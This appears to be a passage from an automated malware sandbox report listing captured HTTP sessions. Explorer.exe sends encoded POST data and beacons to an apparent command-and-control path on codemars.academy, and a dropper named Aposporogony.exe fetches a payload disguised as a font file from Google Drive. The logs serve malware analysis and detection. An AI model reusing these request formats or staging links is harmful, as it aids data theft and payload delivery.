a6 22 21 3c 11 6b e3 2c 40 d4 dc 79 a4 22 d0 36 9d 26 f1 53 c8 a6 b8 0f f2 50 24 cb 0b 3c 2d cf 16 5b 6f f8 47 45 9b 54 70 51 e3 73 56 f7 94 b6 56 ce a8 2e 32 7b ca 9c ff 32 d5 19 3c 9d 15 16 c9 36 02 d2 2d 6f a4 3a cf b9 93 5c 2d 2e 16 f5 b8 47 08 a3 8c 9b bf 1e f1 c9 bb a9 58 74 78 2f 1f 71 1e 07 83 cd 05 fd 9f d6 eb 71 97 d8 f6 6a 7f f8 a3 6c 7a e5 6f 10 b6 52 d4 12 1d b8 b6 6b 0f 7a c8 c1 72 0f 6f 90 8b 40 b8 a0 be 80 d8 4f 38 f4 b7 6c 70 a7 c0 62 20 f0 43 be 93 0e aa 61 d0 08 e8 1c 06 07 84 a2 d6 72 1f 30 83 6f 18 a4 52 f8 08 ae a7 a2 f7 fc 1c 0d 83 ba 6a 3b 19 59 d8 c4 d9 64 f0 45 c2 c1 84 18 04 c1 46 c3 c8 6c e3 70 21 7a 7e 15 b9 3c 5c 73 73 1b 95 77 8e 1f 70 e1 c1 aa e0 5b 2d 1f 23 68 e2 24 0f e8 df 82 40 c5 c1 cb 9d 96 5b 89 b0 0f 43 a9 80 bf d0 a1 0f d6 3a d9 f4 46 59 b7 43 36 fe 63 ce da d1 c5 15 ee 96 e6 76 f0 1b 11 e8 b3 c9 45 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 1ee}RK0WAt}${JeYAx3m,9k_nV<x&,>F%$)c'KV~\|(?n`t\{Ih['&scvdXZqK~*SUT%3T\uF/^fjF^r`qp3]va4"!<k,@y"6&SP$<-[oGETpQsVV.2{2<6-o:\-.GXtx/qqjlzoRkzro@O8lpb Car0oRj;YdEFlp!z~<\sswp[-#h$@[C:FYC6cvE0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.11.20	49921	217.160.0.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:45.653367043 CET	2154	OUT	POST /nqhc/ HTTP/1.1 Host: www.codemars.academy Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.codemars.academy User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.codemars.academy/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 4b 55 38 45 4c 4c 28 66 4d 62 64 6b 39 2d 51 58 69 49 55 76 4c 77 77 67 7e 63 65 41 77 43 4f 4e 55 37 4c 77 30 6c 42 73 34 38 74 56 36 71 56 42 6e 63 6e 62 56 4c 65 34 49 30 48 4d 63 6a 53 74 38 6b 72 6a 58 79 72 59 33 36 62 4a 49 30 48 73 62 6c 6a 4f 45 48 31 45 73 6e 74 5a 35 42 64 6f 4d 58 45 52 53 30 30 6b 57 73 79 50 76 35 69 5a 54 69 4f 70 7e 58 43 5f 64 39 38 59 38 6e 47 31 6f 56 66 31 32 6f 46 66 43 5a 7a 52 4b 44 30 5f 4d 70 75 69 63 68 64 6c 42 48 47 63 41 39 42 77 62 63 35 65 28 56 78 57 79 68 52 48 34 77 5a 49 57 33 78 6f 78 43 33 6b 39 67 43 30 54 57 7a 53 52 63 39 47 64 6f 6b 35 6b 4b 61 36 58 4d 43 32 74 57 49 50 47 39 57 63 33 68 4b 42 33 38 4b 77 51 72 58 32 4d 77 6f 4c 4b 74 42 57 65 49 6d 78 32 55 59 4c 55 73 63 79 50 4e 48 69 64 31 6c 4c 28 63 32 4a 36 43 28 34 6a 51 74 6b 79 39 6b 35 62 52 6c 51 6b 42 72 44 71 78 38 5f 32 4e 4b 42 35 71 4e 59 4c 65 39 4d 41 37 47 64 51 5f 66 32 35 36 70 4a 6f 50 69 4e 4b 65 70 43 37 7a 6c 72 33 6f 47 4d 56 66 4e 39 76 55 75 37 79 33 30 6d 44 47 55 4e 37 41 31 63 4e 37 5a 73 33 59 7a 55 39 44 4c 30 58 65 73 52 4e 5f 45 52 4c 76 47 56 79 39 48 47 68 43 41 6c 6d 6e 6d 33 46 39 7e 47 7a 7a 44 4a 4b 4b 31 36 61 64 48 64 72 64 4d 72 7e 48 72 48 67 79 72 4d 6f 70 72 65 47 6b 73 4f 58 4b 4f 50 74 4d 79 64 32 30 6c 47 37 4f 67 78 53 47 4a 52 42 56 79 45 30 5f 67 7a 59 45 31 62 67 4c 79 63 30 79 55 69 39 71 75 72 5a 48 7e 4a 6d 38 35 49 33 65 67 69 78 5a 61 71 6e 69 71 44 30 6d 55 4d 66 45 39 67 77 70 6d 6f 4a 51 44 7a 72 5a 65 49 49 5a 6b 64 51 64 56 55 75 66 79 37 30 79 4d 75 4e 76 38 50 6f 66 65 53 4b 64 4a 48 53 73 4b 66 68 6c 7e 58 79 36 6d 44 6c 7a 68 71 62 53 32 66 33 73 48 51 51 49 6d 79 36 31 48 73 51 67 6f 72 37 43 71 54 79 76 76 58 4e 79 35 56 69 49 63 33 66 53 37 30 5a 79 54 30 6b 38 76 47 77 30 28 78 39 6d 35 55 49 74 68 55 4e 33 68 73 6d 62 78 45 4b 39 78 70 42 71 42 44 4d 6f 68 7a 66 48 64 31 5a 63 6c 52 72 4e 72 46 57 38 65 4c 62 78 35 38 49 72 44 59 54 30 78 73 50 52 39 38 41 65 73 73 66 6c 64 5a 7e 77 51 61 66 73 36 35 33 4c 55 51 6f 4f 42 50 30 66 6e 4c 34 35 67 68 75 75 52 65 79 70 30 6c 75 45 35 6a 64 49 4f 4c 63 2d 75 69 52 30 55 49 56 7a 28 56 6e 46 47 65 44 65 41 34 4f 61 53 44 4c 5f 57 6f 47 4f 62 30 56 43 74 64 71 39 39 44 32 49 6c 58 6e 41 4a 33 4a 79 6c 59 35 65 75 58 41 6f 7e 2d 61 56 36 73 4d 76 6e 4e 32 44 68 7a 50 6f 7e 47 72 6e 33 78 49 34 51 56 47 33 47 64 6c 66 6e 72 59 51 47 34 4b 73 7e 70 4c 67 47 45 61 64 47 54 69 43 65 73 72 4b 65 79 50 4a 45 42 63 49 4f 56 6a 46 6c 67 62 4b 30 41 4a 59 6a 32 4e 54 78 4e 6b 56 4b 70 53 4d 69 4d 31 58 62 63 66 53 43 4a 71 70 43 44 70 56 6e 4d 7a 73 62 68 68 33 Data Ascii: r4txB=KU8ELL(fMbdk9-QXiIUvLwwg~ceAwCONU7Lw0lBs48tV6qVBncnbVLe4I0HMcjSt8krjXyrY36bJI0HsbljOEH1EsntZ5BdoMXERS00kWsyPv5iZTiOp~XC_d98Y8nG1oVf12oFfCZzRKD0_MpuichdlBHGcA9Bwbc5e(VxWyhRH4wZIW3xoxC3k9gC0TWzSRc9Gdok5kKa6XMC2tWIPG9Wc3hKB38KwQrX2MwoLKtBWeImx2UYLUscyPNHid1lL(c2J6C(4jQtky9k5bRlQkBrDqx8_2NKB5qNYLe9MA7GdQ_f256pJoPiNKepC7zlr3oGMVfN9vUu7y30mDGUN7A1cN7Zs3YzU9DL0XesRN_ERLvGVy9HGhCAlmnm3F9~GzzDJKK16adHdrdMr~HrHgyrMopreGksOXKOPtMyd20lG7OgxSGJRBVyE0_gzYE1bgLyc0yUi9qurZH~Jm85I3egixZaqniqD0mUMfE9gwpmoJQDzrZeIIZkdQdVUufy70yMuNv8PofeSKdJHSsKfhl~Xy6mDlzhqbS2f3sHQQImy61HsQgor7CqTyvvXNy5ViIc3fS70ZyT0k8vGw0(x9m5UIthUN3hsmbxEK9xpBqBDMohzfHd1ZclRrNrFW8eLbx58IrDYT0xsPR98AessfldZ~wQafs653LUQoOBP0fnL45ghuuReyp0luE5jdIOLc-uiR0UIVz(VnFGeDeA4OaSDL_WoGOb0VCtdq99D2IlXnAJ3JylY5euXAo~-aV6sMvnN2DhzPo~Grn3xI4QVG3GdlfnrYQG4Ks~pLgGEadGTiCesrKeyPJEBcIOVjFlgbK0AJYj2NTxNkVKpSMiM1XbcfSCJqpCDpVnMzsbhh3
Nov 21, 2022 19:25:45.653418064 CET	2159	OUT	Data Raw: 56 55 57 42 28 46 37 6b 59 4d 67 52 33 39 56 2d 46 6a 4a 64 65 52 68 53 4d 45 54 51 58 56 6f 63 63 71 50 50 4b 41 73 38 31 6e 30 46 65 44 64 42 6e 4d 68 45 42 39 52 61 47 6f 78 44 36 4a 76 4a 78 77 44 63 7e 33 7a 54 64 2d 7e 43 45 52 30 51 50 30 Data Ascii: VUWB(F7kYMgR39V-FjJdeRhSMETQXVoccqPPKAs81n0FeDdBnMhEB9RaGoxD6JvJxwDc~3zTd-~CER0QP0vKNCnz~43TfkZ_(nULnpMHK_zn0GLwShjDyEOvc_Lwd1GF(5EwnOJJmDHuuJtqKofzLqfXZ6ZId7LVyjGfQeIBcUFroLTfX8sWYKaj9FhPNJFtsGwb54Gd8fUzFnOX3LlMbaqw3xAAEIJeiUlMk6~qPVXO1qJ1woZ
Nov 21, 2022 19:25:45.653465986 CET	2166	OUT	Data Raw: 6c 76 6a 59 4a 66 68 44 73 62 77 57 36 64 76 64 50 4c 75 50 50 2d 56 57 6f 62 28 63 43 74 71 37 38 39 65 4e 37 32 57 4b 4b 39 7e 37 56 44 41 4a 4d 6e 43 4b 62 59 35 78 38 77 44 36 71 75 71 30 73 4e 48 48 4c 38 31 47 57 50 36 57 52 46 62 50 7a 36 Data Ascii: lvjYJfhDsbwW6dvdPLuPP-VWob(cCtq789eN72WKK9~7VDAJMnCKbY5x8wD6quq0sNHHL81GWP6WRFbPz6isymcKtvXIXcQ4TKFKTCuDRDfOSgC4uTKbY7ECqmaVYXF_mIy86BjBJiUqulcVJ-2Q78b65QjA9c2szrxrG-9MXz(CQbUI(IS-UCRpJD(DeSGpbi0UzbYqx8KaQQC5U1w2oW(CDErbZrTf~vVz5U0chimU(5UXZJC
Nov 21, 2022 19:25:45.667725086 CET	2168	OUT	Data Raw: 35 61 35 67 37 52 79 75 42 79 55 62 5a 4d 35 78 48 66 4f 75 35 6b 47 47 75 4a 36 48 77 74 35 5a 44 52 49 62 7a 55 47 74 49 51 4b 53 37 32 46 77 52 6b 53 7a 4c 66 6c 77 77 74 65 65 46 36 49 35 48 65 54 67 45 38 62 4a 79 50 67 46 6c 47 47 39 59 59 Data Ascii: 5a5g7RyuByUbZM5xHfOu5kGGuJ6Hwt5ZDRIbzUGtIQKS72FwRkSzLflwwteeF6I5HeTgE8bJyPgFlGG9YYXiyzIivBd1p2alAbDT(CbuTkxOMzEX6jJsj3UVPe7R~hDl5KHTlEZz(o2CDXeYdODSTHk6PdpsNNyUC9srflW1qLinRhAfgckfgDo8TKOSEqYCJjRf49BoK440ExV1b2sSefjpeLX9dcGY0Z456wxr9QZtaxWrhaG
Nov 21, 2022 19:25:45.667895079 CET	2170	OUT	Data Raw: 4f 6c 45 4b 61 79 74 71 64 70 39 35 68 5a 37 4b 76 48 79 76 28 43 68 2d 79 51 41 76 6a 4b 44 4d 75 44 46 71 69 76 52 34 6b 4e 66 6d 75 43 6f 64 46 70 7e 63 58 59 6f 54 31 51 57 73 69 74 33 2d 6e 69 43 51 45 56 61 50 42 57 5a 6f 67 44 7a 67 61 46 Data Ascii: OlEKaytqdp95hZ7KvHyv(Ch-yQAvjKDMuDFqivR4kNfmuCodFp~cXYoT1QWsit3-niCQEVaPBWZogDzgaFbvArRgGHGiE81daLQ9Vobt57gxYrxu0Xdchwb9O6g7JQzK3ksQg-acS3HpRvdKiVsyRx26t3FxU5d_qH56aF6_PbaqmCrtLKH0ven4~LszLPE03PFUJxB_CTvI4jtKrF(TyBqKhKMnjMxPpzCtzaVZwXyZ8ywBN_X
Nov 21, 2022 19:25:45.668035984 CET	2176	OUT	Data Raw: 68 79 48 50 50 6c 76 39 41 4c 37 66 69 4d 43 44 37 4a 7e 66 4d 56 6e 48 45 79 32 39 62 36 54 49 32 41 30 7a 56 42 69 58 77 38 6c 71 36 47 69 2d 59 49 4a 72 76 4e 38 58 58 33 6a 31 73 30 39 41 67 7a 6a 53 53 59 7e 46 70 6b 39 47 35 39 43 77 4d 4f Data Ascii: hyHPPlv9AL7fiMCD7J~fMVnHEy29b6TI2A0zVBiXw8lq6Gi-YIJrvN8XX3j1s09AgzjSSY~Fpk9G59CwMOvIlznP09J6W_q5raTfAjAadbuwSRN39UPu1jRxNBDyp8qjQhNzbUb9kwww(36Q1-00ZeUPeDULMyfwuGJpbAc61KGicTyz8DmJQwE46ux9ogZa3W(ajFBWEPlV0QsrmEmCZuOVRLHPsau6jKDxoVv48vGicuvohl9
Nov 21, 2022 19:25:45.668204069 CET	2181	OUT	Data Raw: 45 6b 6a 42 52 43 57 6d 50 44 78 64 28 33 55 37 45 75 56 54 45 58 76 56 52 6c 38 42 42 53 77 37 69 5f 55 63 78 6e 52 64 54 50 39 4f 51 56 31 56 7a 79 39 52 34 4a 7a 77 76 30 70 37 69 39 33 6e 79 38 64 73 43 50 45 69 5a 65 76 74 62 6a 46 44 48 55 Data Ascii: EkjBRCWmPDxd(3U7EuVTEXvVRl8BBSw7i_UcxnRdTP9OQV1Vzy9R4Jzwv0p7i93ny8dsCPEiZevtbjFDHUE6c0iM0Vcvi_HRG81b(RhWKQ3BsqQGzZyBR1hmrL1rpiYflknc0qfu52o25HHka8r7cHekIvprFlEEIzeulFWX9Mc1SitrEw2e~rav6a1Et9x_Z05HzNHDHFVuuunBCDHa02JVHoZ2gGl-Sqb3yPLjq_JPfLnWVyM
Nov 21, 2022 19:25:45.668415070 CET	2187	OUT	Data Raw: 5a 4a 30 62 4d 30 6b 77 69 36 58 50 56 59 42 67 64 73 52 4d 4c 36 77 44 53 46 48 49 32 4f 43 41 37 5f 50 70 65 34 6d 58 41 69 50 58 5a 35 6c 64 46 6f 51 30 69 6d 69 69 6b 76 58 6f 4d 37 76 35 79 56 44 6e 7a 6e 69 5f 76 5a 34 77 64 73 55 6b 31 75 Data Ascii: ZJ0bM0kwi6XPVYBgdsRML6wDSFHI2OCA7_Ppe4mXAiPXZ5ldFoQ0imiikvXoM7v5yVDnzni_vZ4wdsUk1uTM1_Qt4YMTgQuxCuUhXXIr6IXR(P(krtG1nxVc5Blu2TbEZCYAz7TgYknovaRDTG702fklKoNkunl0yEMBkNw6aW2XJ4QvRNqtjjaXn-RR5l4AeNtkfXMas4ZfOUCeeqBbMHSyoINF2SVYWH2mw2Dg9n8d4nSsmwS
Nov 21, 2022 19:25:45.668576956 CET	2192	OUT	Data Raw: 6f 36 4b 32 77 2d 41 31 4c 63 6d 4a 44 58 43 45 58 67 76 57 36 50 7a 61 4d 75 51 57 33 56 61 65 32 56 59 70 68 73 41 4b 67 48 67 4a 72 6b 30 4f 4d 73 78 44 67 31 7a 65 6c 30 4a 6a 58 76 32 37 6e 74 69 30 6e 38 63 51 4c 78 4f 55 7e 5f 6d 72 28 71 Data Ascii: o6K2w-A1LcmJDXCEXgvW6PzaMuQW3Vae2VYphsAKgHgJrk0OMsxDg1zel0JjXv27nti0n8cQLxOU~_mr(qLA5vabonB9T2fFU_xxbO5OCfIs1I4_s5bDwbbMN2a86s2GQCWCZz9msYzE2J6jM5Xb5lkADdHF~k575vU_ZBnkJMFgzr9ISITT5szsgHD_5z1FfhHWpGh-V8Rx7sYX(_CBfJurCNUQUtQ8Nom-tG4yT0bO0RwHW-q
Nov 21, 2022 19:25:45.682086945 CET	2194	OUT	Data Raw: 64 4c 34 53 63 39 33 64 48 50 4a 75 48 68 63 77 4a 4f 76 34 69 64 66 7a 59 32 49 76 6d 56 59 55 49 6c 72 5a 63 53 53 77 49 4f 39 75 72 73 48 53 31 33 66 67 43 54 30 4f 7e 69 43 58 6c 78 71 69 66 49 6d 6d 6b 70 32 5f 4b 4c 30 61 70 6f 7e 54 44 78 Data Ascii: dL4Sc93dHPJuHhcwJOv4idfzY2IvmVYUIlrZcSSwIO9ursHS13fgCT0O~iCXlxqifImmkp2_KL0apo~TDxThR_0pxxotQcEYJO8rjrklXQDSrplv3eFmia50QKgOnGfseaOBqNU6Ug9utJI8FnHWVanwFO1Ie2MXWjbtL9Mffmd6BXEb0Cdw9n9dGgu1A14Isp5APH7cpQpo1_pp4SaSj3K1tb43W5gbb-ZoXbnnlcCja8Ki0a1
Nov 21, 2022 19:25:45.682228088 CET	2200	OUT	Data Raw: 4d 51 32 75 63 32 4f 32 6b 38 55 53 74 6d 54 47 74 5a 74 33 64 56 63 6e 6d 77 64 50 47 6e 33 64 56 74 55 55 54 79 34 69 6a 35 32 59 36 30 7a 5f 59 37 71 61 41 70 7e 35 67 30 63 56 68 7a 54 66 75 4c 4f 61 38 50 44 67 35 4e 54 6a 75 74 53 6f 46 64 Data Ascii: MQ2uc2O2k8UStmTGtZt3dVcnmwdPGn3dVtUUTy4ij52Y60z_Y7qaAp~5g0cVhzTfuLOa8PDg5NTjutSoFd84WiDOtoy2Lv~e490cwOfSLH67eDh4GBa6QLZ-df2rC9uSiGP-YoQC2Do9Po29UVg7kOKOqymYLA1BWfMf5O76YUjzYMah2KjMqEzQlj3HO5~5VIZ7NRv_u5uiM6nH(qiBl7Fx7zAus4(gJJolMOHsG5NisvGhuEf
Nov 21, 2022 19:25:45.699820042 CET	2207	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Mon, 21 Nov 2022 18:25:45 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 52 4b 8f d3 30 10 be f7 57 0c 41 a2 17 12 b7 74 0f 7d 24 7b a0 ad c4 4a 65 59 41 78 1d 8d 33 6d 2c 39 b6 6b 8f fb d8 5f 8f 93 6e 0a 8b 56 9c 3c b6 be d7 78 26 7f b5 fa b4 2c 7f 3e ac a1 a6 46 c1 c3 d7 f7 9b bb 25 24 29 63 df 27 4b c6 56 e5 0a 7e 7c 28 3f 6e 60 9c 8d a0 74 5c 7b 49 d2 68 ae 18 5b df 27 83 a4 26 b2 73 c6 8e c7 63 76 9c 64 c6 ed 58 f9 99 9d 5a ad 71 4b 7e 2a 53 fa 8b 99 55 54 25 b7 83 bc 33 54 5c ef 8a 04 75 02 a7 46 cd 9f dd b4 2f 5e 90 1f cf 66 b3 8b 6a d4 80 bc 46 5e c5 13 72 92 a4 b0 ad 60 ed 9c 71 70 33 ba 81 14 ee 0d c1 d6 04 5d b5 10 76 c5 e4 0d 12 07 61 34 a1 a6 22 21 3c 11 6b e3 2c 40 d4 dc 79 a4 22 d0 36 9d 26 f1 53 c8 a6 b8 0f f2 50 24 cb 0b 3c 2d cf 16 5b 6f f8 47 45 9b 54 70 51 e3 73 56 f7 94 b6 56 ce a8 2e 32 7b ca 9c ff 32 d5 19 3c 9d 15 16 c9 36 02 d2 2d 6f a4 3a cf b9 93 5c 2d 2e 16 f5 b8 47 08 a3 8c 9b bf 1e f1 c9 bb a9 58 74 78 2f 1f 71 1e 07 83 cd 05 fd 9f d6 eb 71 97 d8 f6 6a 7f f8 a3 6c 7a e5 6f 10 b6 52 d4 12 1d b8 b6 6b 0f 7a c8 c1 72 0f 6f 90 8b 40 b8 a0 be 80 d8 4f 38 f4 b7 6c 70 a7 c0 62 20 f0 43 be 93 0e aa 61 d0 08 e8 1c 06 07 84 a2 d6 72 1f 30 83 6f 18 a4 52 f8 08 ae a7 a2 f7 fc 1c 0d 83 ba 6a 3b 19 59 d8 c4 d9 64 f0 45 c2 c1 84 18 04 c1 46 c3 c8 6c e3 70 21 7a 7e 15 b9 3c 5c 73 73 1b 95 77 8e 1f 70 e1 c1 aa e0 5b 2d 1f 23 68 e2 24 0f e8 df 82 40 c5 c1 cb 9d 96 5b 89 b0 0f 43 a9 80 bf d0 a1 0f d6 3a d9 f4 46 59 b7 43 36 fe 63 ce da d1 c5 15 ee 96 e6 76 f0 1b 11 e8 b3 c9 45 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 1ee}RK0WAt}${JeYAx3m,9k_nV<x&,>F%$)c'KV~\|(?n`t\{Ih['&scvdXZqK~*SUT%3T\uF/^fjF^r`qp3]va4"!<k,@y"6&SP$<-[oGETpQsVV.2{2<6-o:\-.GXtx/qqjlzoRkzro@O8lpb Car0oRj;YdEFlp!z~<\sswp[-#h$@[C:FYC6cvE0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.11.20	49922	217.160.0.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:47.682972908 CET	2208	OUT	GET /nqhc/?r4txB=HWUkI9TTae9E16Ico4VYIxYl96Wd6gyAbZTC2FoY75Z91OR/nsTZW6u7F26sGGS3r1HZf2jS9pu5KUGpbE/+fGNm2HkM109OTw==&b6=1b9p HTTP/1.1 Host: www.codemars.academy Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:25:47.702331066 CET	2209	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 837 Connection: close Date: Mon, 21 Nov 2022 18:25:47 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 4c 65 20 66 69 63 68 69 65 72 20 72 65 71 75 69 73 20 6e 27 61 20 70 61 73 20 26 65 61 63 75 74 65 3b 74 26 65 61 63 75 74 65 3b 20 74 72 6f 75 76 26 65 61 63 75 74 65 3b 2e 0a 49 6c 20 70 65 75 74 20 73 27 61 67 69 72 20 64 27 75 6e 65 20 65 72 72 65 75 72 20 74 65 63 68 6e 69 71 75 65 2e 20 56 65 75 69 6c 6c 65 7a 20 72 26 65 61 63 75 74 65 3b 65 73 73 61 79 65 72 20 75 6c 74 26 65 61 63 75 74 65 3b 72 69 65 75 72 65 6d 65 6e 74 2e 20 53 69 20 76 6f 75 73 20 6e 65 20 70 6f 75 76 65 7a 20 70 61 73 20 61 63 63 26 65 61 63 75 74 65 3b 64 65 72 20 61 75 20 66 69 63 68 69 65 72 20 61 70 72 26 65 67 72 61 76 65 3b 73 20 70 6c 75 73 69 65 75 72 73 20 74 65 6e 74 61 74 69 76 65 73 2c 20 63 65 6c 61 20 73 69 67 6e 69 66 69 65 20 71 75 27 69 6c 20 61 20 26 65 61 63 75 74 65 3b 74 26 65 61 63 75 74 65 3b 20 73 75 70 70 72 69 6d 26 65 61 63 75 74 65 3b 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Le fichier requis n'a pas été trouvé.Il peut s'agir d'une erreur technique. Veuillez réessayer ultérieurement. Si vous ne pouvez pas accéder au fichier après plusieurs tentatives, cela signifie qu'il a été supprimé. </p> </body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49818	142.250.185.78	443	C:\Users\user\Desktop\Aposporogony.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-21 18:18:35 UTC	0	OUT	GET /uc?export=download&id=1stXX8Uj1RjHVqk-MVjs7YkPXjSyawEff HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-11-21 18:18:35 UTC	0	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 21 Nov 2022 18:18:35 GMT Location: https://doc-00-7s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/aa7vto4aijg1pkg5c538nvekfh9g64qn/1669054650000/00631903678986001080//1stXX8Uj1RjHVqk-MVjs7YkPXjSyawEff?e=download&uuid=f9b422c8-2ce3-49b6-9ddb-2eda7c45f4e1 Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-49z0UywRlinJVUjD0YXCzQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49819	142.250.185.161	443	C:\Users\user\Desktop\Aposporogony.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-21 18:18:36 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/aa7vto4aijg1pkg5c538nvekfh9g64qn/1669054650000/00631903678986001080/*/1stXX8Uj1RjHVqk-MVjs7YkPXjSyawEff?e=download&uuid=f9b422c8-2ce3-49b6-9ddb-2eda7c45f4e1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-00-7s-docs.googleusercontent.com Connection: Keep-Alive
2022-11-21 18:18:36 UTC	2	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdsn6fEAXRE3DBsC2HBMV_Nwu1Vle6pzj99LULVvgAQ5Mb6dqbtlEFkLloPu-uvGmkEOk367t-pA4o8gqXHlYHREJ4e_yfcC Content-Type: application/x-font Content-Disposition: attachment; filename="upYOXaTjMbXPFEcwiJLIRQdG78.pfb"; filename=UTF-8''upYOXaTjMbXPFEcwiJLIRQdG78.pfb Access-Control-Allow-Origin: Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, 